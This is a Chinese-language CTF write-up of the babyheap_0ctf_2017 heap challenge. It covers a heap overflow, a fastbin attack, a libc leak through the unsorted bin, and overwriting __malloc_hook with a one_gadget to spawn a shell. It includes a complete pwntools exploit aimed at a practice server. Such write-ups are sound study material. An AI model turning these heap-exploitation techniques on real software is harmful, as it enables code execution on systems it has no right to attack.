前言:这是我uaf后又一道正儿八经的堆题,这道题目的漏洞主要是fastbin attack和一些做堆提新的知识,捣鼓了快一周,看了好多师傅的博客复现总结了一下,现在记录一下。有不对的地方请师傅们指正!
一、例行checksec
保护全开
二、ida反编译
1)main函数
里面有一个菜单函数
2)allocate
3)fill
4)free
5)dump
三、利用思路
1)利用角度
step1我们看fill函数
发现在输入数据时只检查了数据大小的下界没有检查上界,因此这里存在堆溢出漏洞,可以对堆内数据进行改写
2)利用过程
我就对着下面的完整exp一步一步写了,注意index(序号)和chunk ?中“?”和index不一定是对应的
step0 准备工作
对于有菜单的题目,这种准备工作要做好
def cmd(index):
p.sendlineafter('Command: ',str(index))
def allocate(size):
#cmd('1')
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def fill(index,content):
cmd('2')
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def free(index):
cmd('3')
p.sendlineafter('Index: ',str(index))
def dump(index):
cmd('4')
p.sendlineafter('Index: ',str(index))
step1 allocate四个fastbin和一个smallbin,并free掉1和2
allocate(0x10) #chunk0
allocate(0x10) #chunk1
allocate(0x10) #chunk2
allocate(0x10) #chunk3
allocate(0x60) #chunk4
free(1)
free(2)
这里的prev size记录的是上个free chunk的大小,如果上一个是malloced chunk,这个字段就没有什么用了,但是字段还在。
step2 修改chunk 2
下面这个师傅们自己从gdb中看内存可能会更直观一点
第一步fill就看下面画的那张图应该可以理解,前面都是小心翼翼地保持原状,最终是为了修改chunk2的user段首字节,注意因为chunk2已经被free掉了,此时它user段的首字节是fd,我们修改了它的末字节为0x80。
第二步fill是为了修改chunk4的size段,将其修改为0x21(改为和我们之前chunk 2一样的大小),因为fastbin的一条链上chunk的size是相同的,我们修改chunk2的fd到chunk4,fastbin会默认chunk4也是相同大小的fastbin,因此会进行检查,我们需要修改它的size大小来绕过检查。
Q: 为啥子我不直接往chunk2里面的user里面写呢?
A:因为它被free辣!fill函数只能往还在的chunk里写,所以需要用上面提到的堆溢出改写
Q: 为什么最后是p8?为什么是0x80?
A:因为我们的目的是将chunk2的fd改写到chunk4的位置(至于为什么这样请师傅们向后看),这样未释放的chunk4加入了bin中。因为两个chunk的地址只差在末尾一个字节,并且chunk4的末字节是0x80
payload = p64(0)*3
payload+= p64(0x21)
payload+= p64(0)*3
payload+= p64(0x21)
payload+= p8(0x80) #这一行是关键
fill(0,payload)
payload = p64(0)*3
payload+= p64(0x21)
fill(3,payload)
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6020 0x0000000000000000 #chunk2的fd
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091 #chunk4的位置
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000
step3 将chunk1 chunk2重新分配回来 修改chunk4的size回到0x91
两次allocate先将,chunk4和chunk2回到原位,由于fastbin是后入先出(LIFO) ,所以index=1的地方是chunk2,index=2的地方是chunk4,然后修改chunk4的size字段改回0x91的smallbin的形式
注意:这样我们index 2和index 4都是chunk 4了
allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0)*3
payload+= p64(0x91)
fill(3,payload)
step4 dump出地址
第一步先allocate(0x80)(我们叫它为chunk5)是为了防止chunk4与top chunk合并
然后将chunk4丢入unsorted bin
有一个小知识:就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58
还有一个小知识:在gdb中我们可以通过magic命令找到malloc__hook和libc基地址的偏移为0x3c4b10
libc基地址的计算:
- dump(2)就是解析chunk4的user段也就是其fd和bk,得到的是main_arena+0x58的地址。
- strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
- ljust就是讲所得补齐8字节,缺少的就用'\x00'补上
- 0x3c4b78的由来,减去0x58得到main_arena地址(因为刚才查看了main_arena附近的地址,知道malloc__hook和main_arena偏移为0x10),再减0x10得到malloc__hook地址(我们用magic得到了malloc__hook和libc的偏移),最后减去malloc__hook和libc的偏移即为libc基地址
简单点就是
0x58+0x10+0x3c4b10
allocate(0x80) # index5 chunk5
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8,b'\x00'))-0x3c4b78
log.info("libc_base:"+hex(libc_base))
step5 伪造一个chunk
我们需要在allocate回来的chunk6(index4)后伪造一个fake chunk,然后需要的大小要在0x60-0x7f之间,我们找到的位置是0x0x7fa8994e6aed,然后要算出与libcbase的偏移是0x3c4aed。
allocate(0x60) #index4 chunk6
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2,payload)
step6 利用onegadget获得shell
因为找到的合适的大小的位置与malloc__hook的偏移为19,所以要对齐内存(p8*3+p64*2)
进行allocate之前需要检查malloc__hook函数的内容,如果为0,就跳过此步骤,如果不为0,就跳转到此部分执行。
allocate(0x60) // index4 chunk6
allocate(0x60) //chunk6所指向的fake chunk #index6 fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a) //0x4526a是one_gadget的一个地址
fill(6, payload)
allocate(255)
p.interactive()
四、完整exp
from pwn import *
flag = 1
if(flag == 1):
p = remote('node4.buuoj.cn',25136)
else:
p = process('./123')
#gdb.attach(p)
def cmd(index):
p.sendlineafter('Command: ',str(index))
def allocate(size):
#cmd('1')
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def fill(index,content):
cmd('2')
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def free(index):
cmd('3')
p.sendlineafter('Index: ',str(index))
def dump(index):
cmd('4')
p.sendlineafter('Index: ',str(index))
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x60)
free(1)
free(2)
payload = p64(0)*3
payload+= p64(0x21)
payload+= p64(0)*3
payload+= p64(0x21)
payload+= p8(0x80)
fill(0,payload)
payload = p64(0)*3
payload+= p64(0x21)
fill(3,payload)
allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0)*3
payload+= p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8,b'\x00'))-0x3c4b78
log.info("libc_base:"+hex(libc_base))
allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2,payload)
allocate(0x60)
allocate(0x60)
payload = p8(0)*3
payload+= p64(0)*2
payload+= p64(libc_base+0x4526a)
fill(6,payload)
allocate(255)
p.interactive()
五、参考博客
这两位师傅说的很详细,知识点和思路可以看看这两位师傅的博客
绝对详细的babyheap_0ctf_2017题解_eeeeeeeeeeeeeeeea的博客-优快云博客_babyheap_0ctf_2017
blog.youkuaiyun.com/qq_43935969/article/details/115877748
gdb调试的内容可以重点看看这位师傅的博客
[分享]0ctf2017 - babyheap-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
欢迎师傅们一起学习交流呀!也求大师傅带带